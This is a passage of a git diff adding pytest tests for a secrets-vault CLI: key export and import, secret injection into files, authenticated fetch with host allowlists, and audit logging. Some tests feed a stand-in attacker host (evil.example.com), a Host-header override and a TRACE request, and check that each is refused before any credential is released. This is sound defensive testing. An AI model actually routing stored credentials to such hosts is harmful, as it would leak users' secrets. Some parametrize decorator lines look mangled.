+ blob = {"scheme": "avault-backup-v1", "ciphertext": "wrapped"}
+ export = Mock(return_value=blob)
+ monkeypatch.setattr(api, "avault_key_export", export)
+ monkeypatch.setattr("sys.stdin", io.StringIO("my-passphrase\n"))
+ out = tmp_path / "vault-key.json"
+
+ assert cli.cmd_vault_key_export(_ns(out=str(out))) == 0
+ capfd.readouterr()
+ export.assert_called_once_with("my-passphrase")
+ assert json.loads(out.read_text()) == blob
+ with cli._open_vault_engine().connect() as conn:
+ rows = [dict(r) for r in conn.execute(vault_audit.select()).mappings()]
+ assert "key_exported" in {r["event"] for r in rows}
+ assert all("my-passphrase" not in json.dumps(r) for r in rows)
+
+
+def test_key_import_calls_avault_and_audits(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ blob = {"scheme": "avault-backup-v1", "ciphertext": "wrapped"}
+ path = tmp_path / "vault-key.json"
+ path.write_text(json.dumps(blob))
+ import_ = Mock(return_value=None)
+ monkeypatch.setattr(api, "avault_key_import", import_)
+ monkeypatch.setattr("sys.stdin", io.StringIO("pw\n"))
+
+ assert cli.cmd_vault_key_import(_ns(file=str(path), force=True)) == 0
+ assert json.loads(capfd.readouterr().out)["imported"] is True
+ import_.assert_called_once_with(blob, "pw", force=True)
+ with cli._open_vault_engine().connect() as conn:
+ rows = [dict(r) for r in conn.execute(vault_audit.select()).mappings()]
+ assert "key_imported" in {r["event"] for r in rows}
diff --git a/tests/test_vault_crypto.py b/tests/test_vault_crypto.py
new file mode 100644
index 000000000..9089c2b9b
--- /dev/null
+++ b/tests/test_vault_crypto.py
@@ -0,0 +1,42 @@
+"""Tiny contract tests for storage/vault_crypto.py.
+
+All value cryptography now lives in the external avault custody core. Python only owns
+secret-name validation, the persisted envelope shape, and a compatibility exception.
+"""
+
+from __future__ import annotations
+
+import pytest
+
+from storage import vault_crypto
+from storage.vault_crypto import Sealed, VaultCryptoError
+
+
+def test_sealed_is_text_envelope_shape():
+ sealed = Sealed(ciphertext="ct", nonce="n", wrap_meta='{"scheme":"machine-aesgcm-v1"}')
+
+ assert sealed.ciphertext == "ct"
+ assert sealed.nonce == "n"
+ assert sealed.wrap_meta == '{"scheme":"machine-aesgcm-v1"}'
+
+
+def test_vault_crypto_error_kept_for_back_compat():
+ assert issubclass(VaultCryptoError, Exception)
+
+
+ ("name", "valid"),
+ [
+ ("OPENAI_API_KEY", True),
+ ("A", True),
+ ("A1_B2", True),
+ ("lowercase", False),
+ ("1LEADING_DIGIT", False),
+ ("HAS-DASH", False),
+ ("HAS SPACE", False),
+ ("", False),
+ (None, False),
+ ],
+)
+def test_is_valid_secret_name(name, valid):
+ assert vault_crypto.is_valid_secret_name(name) is valid
diff --git a/tests/test_vault_export_inject.py b/tests/test_vault_export_inject.py
new file mode 100644
index 000000000..3c2c8a347
--- /dev/null
+++ b/tests/test_vault_export_inject.py
@@ -0,0 +1,181 @@
+"""CLI tests for ``vibe vault export`` / ``inject`` with avault-backed delivery."""
+
+from __future__ import annotations
+
+import argparse
+import json
+
+import pytest
+
+from storage import vault_service
+from storage.vault_crypto import Sealed
+from vibe import cli
+
+
+def _ns(**kw):
+ base = dict(
+ name=None,
+ stdin=False,
+ from_file=None,
+ group=None,
+ tag=None,
+ description=None,
+ allow_host=None,
+ auth_header=None,
+ auth_query=None,
+ env=None,
+ keys=None,
+ out=None,
+ format="dotenv",
+ json=False,
+ )
+ base.update(kw)
+ return argparse.Namespace(**base)
+
+
+def _sealed(suffix: str = "1") -> Sealed:
+ return Sealed(ciphertext=f"ct-{suffix}", nonce=f"n-{suffix}", wrap_meta=f"wm-{suffix}")
+
+
+def _set(name, value, tmp_path, monkeypatch, capfd, *, sealed: Sealed | None = None):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / f"{name}.txt"
+ vf.write_text(value)
+ monkeypatch.setattr(api, "avault_seal", Mock(return_value=sealed or _sealed(name.lower())))
+ assert cli.cmd_vault_set(_ns(name=name, from_file=str(vf))) == 0
+ capfd.readouterr()
+
+
+def test_export_is_deprecated_and_does_not_touch_db(capfd):
+ code = cli.cmd_vault_export(_ns(env=["OPENAI_API_KEY"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "export_deprecated"
+ with cli._open_vault_engine().connect() as conn:
+ assert vault_service.list_secrets(conn) == []
+
+
[email protected]("fmt", ["dotenv", "json"])
+def test_inject_calls_avault_and_records_delivery(tmp_path, capfd, monkeypatch, fmt):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("A_KEY", "alpha-1", tmp_path, monkeypatch, capfd, sealed=_sealed("a"))
+ _set("B_KEY", "beta-2", tmp_path, monkeypatch, capfd, sealed=_sealed("b"))
+ inject = Mock(return_value=None)
+ monkeypatch.setattr(api, "avault_deliver_inject", inject)
+ out = tmp_path / f"secrets.{fmt}"
+
+ assert cli.cmd_vault_inject(_ns(keys="A_KEY,B_KEY", out=str(out), format=fmt)) == 0
+ payload = json.loads(capfd.readouterr().out)
+ assert payload["written"] is True
+ assert payload["format"] == fmt
+ inject.assert_called_once_with(
+ str(out),
+ fmt,
+ [
+ {"name": "A_KEY", "key": "A_KEY", "envelope": _sealed("a")},
+ {"name": "B_KEY", "key": "B_KEY", "envelope": _sealed("b")},
+ ],
+ )
+ cli.cmd_vault_list(_ns())
+ secrets = {s["name"]: s for s in json.loads(capfd.readouterr().out)["secrets"]}
+ assert secrets["A_KEY"]["use_count"] == 1
+ assert secrets["B_KEY"]["use_count"] == 1
+
+
[email protected]("fmt", ["yaml", "toml"])
+def test_inject_rejects_unavailable_formats_before_avault(tmp_path, capfd, monkeypatch, fmt):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("A_KEY", "alpha-1", tmp_path, monkeypatch, capfd)
+ inject = Mock(return_value=None)
+ monkeypatch.setattr(api, "avault_deliver_inject", inject)
+
+ code = cli.cmd_vault_inject(_ns(keys="A_KEY", out=str(tmp_path / f"s.{fmt}"), format=fmt))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "format_unavailable"
+ inject.assert_not_called()
+
+
+def test_inject_unknown_format_rejected_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("K", "v", tmp_path, monkeypatch, capfd)
+ inject = Mock(return_value=None)
+ monkeypatch.setattr(api, "avault_deliver_inject", inject)
+
+ code = cli.cmd_vault_inject(_ns(keys="K", out=str(tmp_path / "o"), format="xml"))
+ assert code == 1
+ assert json.loads(capfd.readouterr().err)["code"] == "invalid_format"
+ inject.assert_not_called()
+
+
+def test_inject_dedupes_repeated_keys(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("A_KEY", "alpha-1", tmp_path, monkeypatch, capfd, sealed=_sealed("a"))
+ inject = Mock(return_value=None)
+ monkeypatch.setattr(api, "avault_deliver_inject", inject)
+
+ out = tmp_path / "dup.env"
+ assert cli.cmd_vault_inject(_ns(keys="A_KEY,A_KEY", out=str(out), format="dotenv")) == 0
+ assert json.loads(capfd.readouterr().out)["keys"] == ["A_KEY"]
+ inject.assert_called_once_with(str(out), "dotenv", [{"name": "A_KEY", "key": "A_KEY", "envelope": _sealed("a")}])
+ cli.cmd_vault_list(_ns())
+ assert json.loads(capfd.readouterr().out)["secrets"][0]["use_count"] == 1
+
+
+def test_inject_payload_does_not_leak_value(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("SECRET_KEY", "topsecret-INJECT", tmp_path, monkeypatch, capfd)
+ monkeypatch.setattr(api, "avault_deliver_inject", Mock(return_value=None))
+
+ cli.cmd_vault_inject(_ns(keys="SECRET_KEY", out=str(tmp_path / "s.env"), format="dotenv"))
+ payload_out = capfd.readouterr().out
+ assert "topsecret-INJECT" not in payload_out
+
+
+def test_inject_does_not_record_delivery_when_avault_fails(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("A_KEY", "alpha-1", tmp_path, monkeypatch, capfd)
+ monkeypatch.setattr(api, "avault_deliver_inject", Mock(side_effect=api.AvaultError("boom")))
+
+ code = cli.cmd_vault_inject(_ns(keys="A_KEY", out=str(tmp_path / "fail.env"), format="dotenv"))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "avault_failed"
+ cli.cmd_vault_list(_ns())
+ assert json.loads(capfd.readouterr().out)["secrets"][0]["use_count"] == 0
+
+
+def test_inject_succeeds_even_if_audit_fails(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("A_KEY", "alpha-1", tmp_path, monkeypatch, capfd)
+ monkeypatch.setattr(api, "avault_deliver_inject", Mock(return_value=None))
+
+ def _boom(*a, **k):
+ raise RuntimeError("db locked")
+
+ monkeypatch.setattr(vault_service, "record_deliveries", _boom)
+ assert cli.cmd_vault_inject(_ns(keys="A_KEY", out=str(tmp_path / "ok.env"), format="dotenv")) == 0
diff --git a/tests/test_vault_fetch.py b/tests/test_vault_fetch.py
new file mode 100644
index 000000000..3f294fb87
--- /dev/null
+++ b/tests/test_vault_fetch.py
@@ -0,0 +1,283 @@
+"""CLI tests for ``vibe vault fetch`` around avault delivery.
+
+Avibe validates policy and passes an envelope/request to avault. It never receives the
+secret value.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+
+import pytest
+
+from storage import vault_service
+from storage.vault_crypto import Sealed
+from vibe import cli
+
+
+def _ns(**kw):
+ base = dict(
+ name=None,
+ stdin=False,
+ from_file=None,
+ group=None,
+ tag=None,
+ description=None,
+ allow_host=None,
+ auth_header=None,
+ auth_query=None,
+ auth=None,
+ url=None,
+ method="GET",
+ header=None,
+ data=None,
+ data_file=None,
+ output=None,
+ json=False,
+ )
+ base.update(kw)
+ return argparse.Namespace(**base)
+
+
+def _sealed(suffix: str = "1") -> Sealed:
+ return Sealed(ciphertext=f"ct-{suffix}", nonce=f"n-{suffix}", wrap_meta=f"wm-{suffix}")
+
+
+def _set(name, value, tmp_path, monkeypatch, capfd, **kw):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / f"{name}.txt"
+ vf.write_text(value)
+ monkeypatch.setattr(api, "avault_seal", Mock(return_value=_sealed(name.lower())))
+ assert cli.cmd_vault_set(_ns(name=name, from_file=str(vf), **kw)) == 0
+ capfd.readouterr()
+
+
+def test_fetch_passes_bearer_request_to_avault_and_writes_stdout(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("GH_PAT", "ghp-never-returned", tmp_path, monkeypatch, capfd, allow_host=["api.github.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {"content-type": "application/json"}, "body": '{"ok":true}'})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ code = cli.cmd_vault_fetch(_ns(auth="GH_PAT", url="https://api.github.com/repos/o/r"))
+ captured = capfd.readouterr()
+
+ assert code == 0
+ assert captured.out == '{"ok":true}'
+ assert "ghp-never-returned" not in captured.out
+ assert "ghp-never-returned" not in captured.err
+ fetch.assert_called_once()
+ name, sealed, request = fetch.call_args.args
+ assert name == "GH_PAT"
+ assert sealed == _sealed("gh_pat")
+ assert request["allowed_hosts"] == ["api.github.com"]
+ assert request["inject"] == {"type": "bearer"}
+ assert request["method"] == "GET"
+ assert request["url"] == "https://api.github.com/repos/o/r"
+ with cli._open_vault_engine().connect() as conn:
+ assert vault_service.get_secret_meta(conn, "GH_PAT")["use_count"] == 1
+
+
+def test_fetch_header_auth_request_shape(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("SVC_KEY", "apikey-never-returned", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"], auth_header="X-Api-Key")
+ fetch = Mock(return_value={"status": 204, "headers": {}, "body": ""})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ assert cli.cmd_vault_fetch(_ns(auth="SVC_KEY", url="https://api.example.com/v1/thing")) == 0
+ request = fetch.call_args.args[2]
+ assert request["inject"] == {"type": "header", "name": "X-Api-Key"}
+
+
+def test_fetch_query_auth_request_shape(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("QUERY_KEY", "query-never-returned", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"], auth_query="api_key")
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ assert cli.cmd_vault_fetch(_ns(auth="QUERY_KEY", url="https://api.example.com/v1/thing")) == 0
+ request = fetch.call_args.args[2]
+ assert request["inject"] == {"type": "query", "name": "api_key"}
+
+
+def test_fetch_post_body_and_headers_pass_to_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("POST_KEY", "k", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 201, "headers": {}, "body": "created"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ assert cli.cmd_vault_fetch(
+ _ns(
+ auth="POST_KEY",
+ url="https://api.example.com/create",
+ method="POST",
+ header=["X-Trace: 123"],
+ data='{"x":1}',
+ )
+ ) == 0
+ request = fetch.call_args.args[2]
+ assert request["method"] == "POST"
+ assert request["headers"] == {"X-Trace": "123"}
+ assert request["body"] == '{"x":1}'
+
+
+def test_fetch_writes_mocked_response_to_output_file(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("OUT_KEY", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "file body"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+ out = tmp_path / "resp.txt"
+
+ assert cli.cmd_vault_fetch(_ns(auth="OUT_KEY", url="https://api.example.com/x", output=str(out))) == 0
+ assert capfd.readouterr().out == ""
+ assert out.read_text() == "file body"
+
+
+ ("url", "code"),
+ [
+ ("https://evil.example.com/x", "host_not_allowed"),
+ ("http://api.example.com/x", "insecure_transport"),
+ ],
+)
+def test_fetch_preflights_reject_before_avault(tmp_path, capfd, monkeypatch, url, code):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("BOUND_KEY", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ result = cli.cmd_vault_fetch(_ns(auth="BOUND_KEY", url=url))
+ captured = capfd.readouterr()
+
+ assert result == 1
+ assert json.loads(captured.err)["code"] == code
+ fetch.assert_not_called()
+
+
+def test_fetch_refuses_unbound_secret_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("UNBOUND_KEY", "secret", tmp_path, monkeypatch, capfd)
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ code = cli.cmd_vault_fetch(_ns(auth="UNBOUND_KEY", url="https://api.example.com/x"))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "proxy_unbound"
+ fetch.assert_not_called()
+
+
+def test_fetch_rejects_trace_method_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("GH_PAT", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ code = cli.cmd_vault_fetch(_ns(auth="GH_PAT", url="https://api.example.com/x", method="TRACE"))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "method_not_allowed"
+ fetch.assert_not_called()
+
+
+def test_fetch_rejects_host_header_override_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("GH_PAT", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ code = cli.cmd_vault_fetch(_ns(auth="GH_PAT", url="https://api.example.com/x", header=["Host: evil.example.com"]))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "forbidden_header"
+ fetch.assert_not_called()
+
+
+def test_set_rejects_host_auth_header_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ vf = tmp_path / "v.txt"
+ vf.write_text("tok")
+ seal = Mock(return_value=_sealed())
+ monkeypatch.setattr(api, "avault_seal", seal)
+
+ code = cli.cmd_vault_set(_ns(name="HOST_AUTH_KEY", from_file=str(vf), allow_host=["api.example.com"], auth_header="Host"))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "forbidden_header"
+ seal.assert_not_called()
+
+
+def test_fetch_output_unwritable_is_preflighted_before_avault(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("GH_PAT", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ bad_out = tmp_path / "no_such_dir" / "resp.json"
+ code = cli.cmd_vault_fetch(_ns(auth="GH_PAT", url="https://api.example.com/x", method="POST", output=str(bad_out)))
+ captured = capfd.readouterr()
+ assert code == 1
+ assert json.loads(captured.err)["code"] == "output_unwritable"
+ fetch.assert_not_called()
+
+
+def test_fetch_returns_response_even_if_audit_fails(tmp_path, capfd, monkeypatch):
+ from unittest.mock import Mock
+
+ from vibe import api
+
+ _set("GH_PAT", "secret", tmp_path, monkeypatch, capfd, allow_host=["api.example.com"])
+ fetch = Mock(return_value={"status": 200, "headers": {}, "body": "ok"})
+ monkeypatch.setattr(api, "avault_deliver_fetch", fetch)
+
+ def _boom(*a, **k):
+ raise RuntimeError("db locked")
+
+ monkeypatch.setattr(vault_service, "record_proxy_use", _boom)
+ code = cli.cmd_vault_fetch(_ns(auth="GH_PAT", url="https://api.example.com/x"))
+ captured = capfd.readouterr()
+ assert code == 0
+ assert captured.out == "ok"
+ fetch.assert_called_once()
+
+
+def test_host_allowed_is_case_insensitive():
+ assert cli._host_allowed("api.github.com", ["API.GITHUB.COM"]) is True
+ assert cli._host_allowed("api.github.com", [".GitHub.com"]) is True
+ assert cli._host_allowed("API.GITHUB.COM", ["api.github.com"]) is True
diff --git a/tests/test_vault_protected_format.py b/tests/test_vault_protected_format.py
new file mode 100644
index 000000000..c38ef6427
--- /dev/null
+++ b/tests/test_vault_protected_format.py
@@ -0,0 +1,64 @@
+"""Protected-tier envelope format reference (P1, vaults.md §7.1). Pure crypto, no I/O."""
+
+from __future__ import annotations
+
+import pytest
+
+from storage import vault_protected as vp
+from storage.vault_protected import ProtectedFormatError
+
+
+def test_password_unwraps_vmk_and_secret_round_trips():
+ vmk = vp.new_vmk()
+ wrap_meta = vp.build_wrap_meta(vmk, ["correct horse battery staple"])
+ sealed = vp.seal_protected(b"the protected value", vmk)
+
+ # Recover the VMK from the password, then open the secret.
+ recovered = vp.unwrap_vmk(wrap_meta, "correct horse battery staple")
+ assert recovered == vmk
+ assert vp.open_protected(sealed, recovered) == b"the protected value"
+
+
+def test_wrong_password_cannot_unwrap():
+ vmk = vp.new_vmk()
+ wrap_meta = vp.build_wrap_meta(vmk, ["right"])
+ with pytest.raises(ProtectedFormatError):
+ vp.unwrap_vmk(wrap_meta, "wrong")
+
+
+def test_multi_factor_either_password_unwraps_same_vmk():
+ vmk = vp.new_vmk()
+ wrap_meta = vp.build_wrap_meta(vmk, ["laptop-pass", "phone-pass"])
+ assert vp.unwrap_vmk(wrap_meta, "laptop-pass") == vmk
+ assert vp.unwrap_vmk(wrap_meta, "phone-pass") == vmk
+
+
+def test_add_copy_is_a_rotation_not_a_reencrypt():
+ # Adding a password copy wraps the SAME vmk — existing secrets stay valid (only the
+ # tiny wrap_meta changes, never the ciphertext). This is the cheap-rekey property.
+ vmk = vp.new_vmk()
+ sealed = vp.seal_protected(b"v", vmk)
+ wrap_meta = vp.build_wrap_meta(vmk, ["old-pass"])
+ wrap_meta = vp.add_password_copy(wrap_meta, vmk, "new-pass")
+ assert vp.unwrap_vmk(wrap_meta, "old-pass") == vmk
+ assert vp.unwrap_vmk(wrap_meta, "new-pass") == vmk
+ assert vp.open_protected(sealed, vp.unwrap_vmk(wrap_meta, "new-pass")) == b"v"
+
+
+def test_open_with_wrong_vmk_fails():
+ vmk = vp.new_vmk()
+ sealed = vp.seal_protected(b"v", vmk)
+ with pytest.raises(ProtectedFormatError):
+ vp.open_protected(sealed, vp.new_vmk())
+
+
+def test_build_requires_a_factor():
+ with pytest.raises(ProtectedFormatError):
+ vp.build_wrap_meta(vp.new_vmk(), [])
+
+
+def test_each_seal_is_unique():
+ vmk = vp.new_vmk()
+ a = vp.seal_protected(b"same", vmk)
+ b = vp.seal_protected(b"same", vmk)
+ assert a.ciphertext != b.ciphertext and a.nonce != b.nonce
diff --git a/tests/test_vault_schema.py b/tests/test_vault_schema.py
new file mode 100644
index 000000000..662223c57
--- /dev/null
+++ b/tests/test_vault_schema.py
@@ -0,0 +1,30 @@
+"""Migration smoke test: the vault tables exist and the default group is seeded
+after the standard state-init path. Relies on the autouse ``VIBE_REMOTE_HOME``
+isolation in conftest, so this builds a fresh DB under tmp — never the real home.
+"""
+
+from __future__ import annotations
+
+import sqlite3
+
+from config import paths
+from storage.importer import ensure_sqlite_state
+
+_VAULT_TABLES = ("vault_groups", "vault_secrets", "vault_links", "vault_requests", "vault_grants", "vault_audit")
+
+
+def test_vault_tables_created_and_default_group_seeded():
+ ensure_sqlite_state(primary_platform=None)
+ conn = sqlite3.connect(paths.get_sqlite_state_path())
+ try:
+ tables = {row[0] for row in conn.execute("select name from sqlite_master where type='table'")}
+ for table in _VAULT_TABLES:
+ assert table in tables, f"missing vault table: {table}"
+
+ secret_cols = {row[1] for row in conn.execute('pragma table_info("vault_secrets")')}
+ assert {"name", "group_name", "kind", "protection", "ciphertext", "nonce", "wrap_meta"} <= secret_cols
+
+ groups = {row[0]: row[1] for row in conn.execute("select name, grantable from vault_groups")}
+ assert groups.get("default") == 1
+ finally:
+ conn.close()
diff --git a/tests/test_vault_service.py b/tests/test_vault_service.py
new file mode 100644
index 000000000..8ae15b7db
--- /dev/null
+++ b/tests/test_vault_service.py
@@ -0,0 +1,204 @@
+"""Unit tests for storage/vault_service.py.
+
+The data layer stores avault-produced envelopes and masked metadata only. It never
+sees plaintext, machine keys, or Python crypto.
+"""
+
+from __future__ import annotations
+
+import json
+
+import pytest
+from sqlalchemy import select
+
+from storage import vault_service as vs
+from storage.db import create_sqlite_engine
+from storage.models import metadata, vault_audit, vault_requests, vault_secrets
+from storage.vault_crypto import Sealed
+
+
+def vault(tmp_path):
+ engine = create_sqlite_engine(tmp_path / "vault_test.sqlite")
+ metadata.create_all(engine)
+ return engine
+
+
+def _sealed(suffix: str = "1") -> Sealed:
+ return Sealed(ciphertext=f"ct-{suffix}", nonce=f"n-{suffix}", wrap_meta=f"wm-{suffix}")
+
+
+def _create(engine, **kw):
+ with engine.begin() as conn:
+ return vs.create_secret(conn, sealed=_sealed(), **kw)
+
+
+def _row(engine, name: str) -> dict:
+ with engine.connect() as conn:
+ return dict(conn.execute(select(vault_secrets).where(vault_secrets.c.name == name)).mappings().one())
+
+
+def test_value_preview_masks_tail_hint():
+ assert vs.value_preview("") == ""
+ assert vs.value_preview("abc") == "•••"
+ assert vs.value_preview("abcd") == "••••"
+ assert vs.value_preview("abcde") == "…bcde"
+
+
+def test_create_stores_envelope_and_masked_meta(vault):
+ meta = _create(
+ vault,
+ name="OPENAI_API_KEY",
+ preview="…1234",
+ description="key",
+ policy={"allowed_hosts": ["api.example.com"]},
+ )
+
+ assert meta["name"] == "OPENAI_API_KEY"
+ assert meta["protection"] == "standard"
+ assert meta["group"] == "default"
+ assert meta["preview"] == "…1234"
+ assert meta["policy"] == {"allowed_hosts": ["api.example.com"]}
+ assert "plaintext" not in json.dumps(meta)
+ row = _row(vault, "OPENAI_API_KEY")
+ assert row["ciphertext"] == "ct-1"
+ assert row["nonce"] == "n-1"
+ assert row["wrap_meta"] == "wm-1"
+
+
+def test_get_envelope_and_get_envelopes_return_stored_envelopes(vault):
+ _create(vault, name="A_KEY", preview="…1111")
+ with vault.begin() as conn:
+ vs.create_secret(conn, name="B_KEY", sealed=_sealed("2"), preview="…2222")
+ with vault.connect() as conn:
+ assert vs.get_envelope(conn, "A_KEY") == _sealed()
+ assert vs.get_envelopes(conn, ["B_KEY", "A_KEY"]) == {
+ "B_KEY": _sealed("2"),
+ "A_KEY": _sealed(),
+ }
+
+
+def test_get_envelopes_validates_batch_before_returning(vault):
+ _create(vault, name="A_KEY")
+ with vault.connect() as conn, pytest.raises(vs.SecretNotFoundError):
+ vs.get_envelopes(conn, ["A_KEY", "NOPE"])
+
+
+def test_record_deliveries_bumps_usage_and_audits(vault):
+ _create(vault, name="DB_URL")
+ with vault.begin() as conn:
+ assert vs.get_secret_meta(conn, "DB_URL")["use_count"] == 0
+ vs.record_deliveries(conn, ["DB_URL"], requester={"agent": "claude"}, mode="run")
+ with vault.connect() as conn:
+ meta = vs.get_secret_meta(conn, "DB_URL")
+ rows = [dict(r) for r in conn.execute(vault_audit.select()).mappings()]
+ assert meta["use_count"] == 1
+ assert meta["last_used_at"] is not None
+ assert "delivered" in {r["event"] for r in rows}
+
+
+def test_record_proxy_use_bumps_usage_and_audits(vault):
+ _create(vault, name="GH_PAT")
+ with vault.begin() as conn:
+ vs.record_proxy_use(conn, "GH_PAT", requester={"source": "cli"}, delivery={"status": 200})
+ with vault.connect() as conn:
+ meta = vs.get_secret_meta(conn, "GH_PAT")
+ rows = [dict(r) for r in conn.execute(vault_audit.select()).mappings()]
+ assert meta["use_count"] == 1
+ assert meta["last_used_at"] is not None
+ assert "proxied" in {r["event"] for r in rows}
+
+
+def test_list_secrets_masked_and_group_filtered(vault):
+ _create(vault, name="A_KEY", preview="…1111", group="default")
+ _create(vault, name="B_KEY", preview="…2222", group="crypto")
+ _create(vault, name="C_KEY", preview="…3333", group="crypto")
+ with vault.connect() as conn:
+ all_names = [m["name"] for m in vs.list_secrets(conn)]
+ crypto_names = [m["name"] for m in vs.list_secrets(conn, group="crypto")]
+ assert all_names == ["A_KEY", "B_KEY", "C_KEY"]
+ assert crypto_names == ["B_KEY", "C_KEY"]
+
+
+def test_duplicate_name_rejected(vault):
+ _create(vault, name="DUP")
+ with pytest.raises(vs.SecretExistsError):
+ _create(vault, name="DUP")
+
+
+def test_invalid_name_rejected(vault):
+ with pytest.raises(vs.InvalidSecretNameError):
+ _create(vault, name="lower_case")
+
+
+def test_protected_tier_not_available_in_p0(vault):
+ with pytest.raises(vs.UnsupportedProtectionError):
+ _create(vault, name="SECRET", protection="protected")
+
+
+def test_rotate_changes_envelope_and_preview(vault):
+ _create(vault, name="ROT", preview="…9999")
+ with vault.begin() as conn:
+ meta = vs.rotate_secret(conn, "ROT", _sealed("new"), preview="…0000")
+ assert meta["preview"] == "…0000"
+ with vault.connect() as conn:
+ assert vs.get_envelope(conn, "ROT") == _sealed("new")
+
+
+def test_delete_removes_secret(vault):
+ _create(vault, name="GONE")
+ with vault.begin() as conn:
+ vs.delete_secret(conn, "GONE")
+ with vault.connect() as conn, pytest.raises(vs.SecretNotFoundError):
+ vs.get_secret_meta(conn, "GONE")
+
+
+def test_audit_records_events_without_values(vault):
+ _create(vault, name="AUD", preview="…lue42")
+ with vault.begin() as conn:
+ vs.record_deliveries(conn, ["AUD"], requester={"agent": "claude"}, mode="run")
+ vs.delete_secret(conn, "AUD")
+ rows = [dict(r) for r in conn.execute(vault_audit.select()).mappings()]
+ events = {r["event"] for r in rows}
+ assert {"created", "delivered", "deleted"} <= events
+ assert all("topsecretvalue42" not in json.dumps(r) for r in rows)
+
+
+def test_create_auto_creates_missing_group(vault):
+ meta = _create(vault, name="NEW_GROUP_KEY", group="brandnew")
+ assert meta["group"] == "brandnew"
+ with vault.connect() as conn:
+ from storage.models import vault_groups
+
+ groups = {r[0] for r in conn.execute(vault_groups.select().with_only_columns(vault_groups.c.name))}
+ assert "brandnew" in groups
+
+
+def test_create_fulfills_pending_provision_request(vault):
+ with vault.begin() as conn:
+ req = vs.create_provision_request(conn, "ASKED_KEY", requester={"agent": "claude"})
+ _create(vault, name="ASKED_KEY", preview="…ided")
+ with vault.connect() as conn:
+ status = conn.execute(select(vault_requests.c.status).where(vault_requests.c.id == req["id"])).scalar_one()
+ assert status == "fulfilled"
+
+
+def test_request_for_existing_secret_is_born_fulfilled(vault):
+ _create(vault, name="ALREADY")
+ with vault.begin() as conn:
+ req = vs.create_provision_request(conn, "ALREADY")
+ assert req["status"] == "fulfilled"
+
+
+def test_provision_request_and_fulfill(vault):
+ with vault.begin() as conn:
+ req = vs.create_provision_request(conn, "NEW_KEY", reason="sync needs it", requester={"agent": "claude"})
+ assert req["status"] == "pending"
+ with vault.begin() as conn:
+ meta = vs.fulfill_provision(conn, req["id"], _sealed("filled"), preview="…7777", description="filled")
+ assert meta["preview"] == "…7777"
+ assert meta["description"] == "filled"
+ with vault.connect() as conn:
